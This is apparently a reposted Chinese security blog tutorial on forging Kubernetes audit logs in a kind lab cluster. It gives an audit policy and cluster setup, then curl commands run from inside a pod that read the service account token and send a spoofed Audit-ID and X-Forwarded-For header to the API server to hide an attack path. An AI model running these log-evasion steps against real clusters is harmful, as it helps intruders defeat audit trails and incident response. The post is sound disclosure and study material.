伪造 Kubernetes 审计日志

admin 2024年3月28日01:23:03评论5 views字数 3821阅读12分44秒阅读模式

环境搭建

kind 创建实验集群,audit_policy.yaml 需存放在物理机 /root/k8s_audit/ 目录下,yaml 内容如下,

apiVersion: audit.k8s.io/v1 # This is required.kind: Policy# Don't generate audit events for all requests in RequestReceived stage.omitStages:  - "RequestReceived"rules:  # Log pod changes at RequestResponse level  - level: RequestResponse    resources:    - group: ""      # Resource "pods" doesn't match requests to any subresource of pods,      # which is consistent with the RBAC policy.      resources: ["pods"]  # Log "pods/log", "pods/status" at Metadata level  - level: Metadata    resources:    - group: ""      resources: ["pods/log", "pods/status"]
# Don't log requests to a configmap called "controller-leader" - level: None resources: - group: "" resources: ["configmaps"] resourceNames: ["controller-leader"]
# Don't log watch requests by the "system:kube-proxy" on endpoints or services - level: None users: ["system:kube-proxy"] verbs: ["watch"] resources: - group: "" # core API group resources: ["endpoints", "services"]
# Don't log authenticated requests to certain non-resource URL paths. - level: None userGroups: ["system:authenticated"] nonResourceURLs: - "/api*" # Wildcard matching. - "/version"
# Log the request body of configmap changes in kube-system. - level: Request resources: - group: "" # core API group resources: ["configmaps"] # This rule only applies to resources in the "kube-system" namespace. # The empty string "" can be used to select non-namespaced resources. namespaces: ["kube-system"]
# Log configmap and secret changes in all other namespaces at the Metadata level. - level: Metadata resources: - group: "" # core API group resources: ["secrets", "configmaps"]
# Log all other resources in core and extensions at the Request level. - level: Request resources: - group: "" # core API group - group: "extensions" # Version of group should NOT be included.
# A catch-all rule to log all other requests at the Metadata level. - level: Metadata # Long-running requests like watches that fall under this rule will not # generate an audit event in RequestReceived. omitStages: - "RequestReceived"

在物理机中运行下方命令来创建集群环境,

docker pull kindest/node:v1.27.1
kind create cluster --config - --image kindest/node:v1.27.1 <<EOFkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane kubeadmConfigPatches: - | apiVersion: kubeadm.k8s.io/v1beta3 kind: ClusterConfiguration metadata: name: config apiServer: extraArgs: audit-policy-file: "/auditing/audit_policy.yaml" audit-log-path: "/auditing/audit.log" extraVolumes: - name: "auditing" hostPath: "/auditing" mountPath: "/auditing" readOnly: false pathType: "Directory" extraMounts: - hostPath: /root/k8s_audit/ containerPath: /auditing propagation: NoneEOF

进入节点中,可以查看到审核日志,伪造 Kubernetes 审计日志

创建一个 Pod,

kind load docker-image --name kind alpine:latestkubectl run test-pod --image=docker.io/library/alpine:latest --restart=Always --image-pull-policy=IfNotPresent --command -- /bin/sh -c "while true; do sleep 3600; done"

伪造 Audit ID

Audit ID 可以由客户端指定,因此不可靠,问题在于K8S本质上信任客户端提供的 Audit ID,在集群内部并不会有太大问题,但如果外部系统根据 Audit ID 聚合或删除重复数据审计事件,攻击者就可以借此通过重复使用 Audit ID 来掩盖其恶意行为和攻击路径,详情可看:https://github.com/kubernetes/kubernetes/issues/101597

进入 test-pod,

# 安装curlsed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositoriesapk add curl
# 伪造Audit-ID发起请求env | grep KUBERNETES_SERVICE_HOSTexport TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)curl -s -k -H "Audit-ID: 11111111-aeff-4d18-8add-fec2289ef296" -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/pods/

查看节点上的审计日志,成功伪造 Audit ID,伪造 Kubernetes 审计日志

攻击者只要在整个攻击过程中使用同一个 Audit-ID 并保证 开始或最后 一次是无害的请求,那么根据 Audit ID 聚合或删除重复数据审计事件的外部系统就无法还原整个攻击路径。

https://github.com/kubernetes/kubernetes/blob/622509830c1038535e539f7d364f5cd7c3b38791/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go#L29伪造 Kubernetes 审计日志


伪造源 IP

X-Forwarded-For、X-Real-IP 都可以伪造,

export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)curl -s -k -H "X-Forwarded-For: 10.96.0.1" -H "Audit-ID: 11111111-aeff-4d18-8add-fec2289ef296" -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/pods/

伪造 Kubernetes 审计日志

https://github.com/kubernetes/kubernetes/blob/622509830c1038535e539f7d364f5cd7c3b38791/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go#L108伪造 Kubernetes 审计日志


参考文章

https://github.com/raesene/k8s_audit/

原文始发于微信公众号(安全小将李坦然):伪造 Kubernetes 审计日志

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月28日01:23:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   伪造 Kubernetes 审计日志http://cn-sec.com/archives/2603190.html

发表评论

匿名网友 填写信息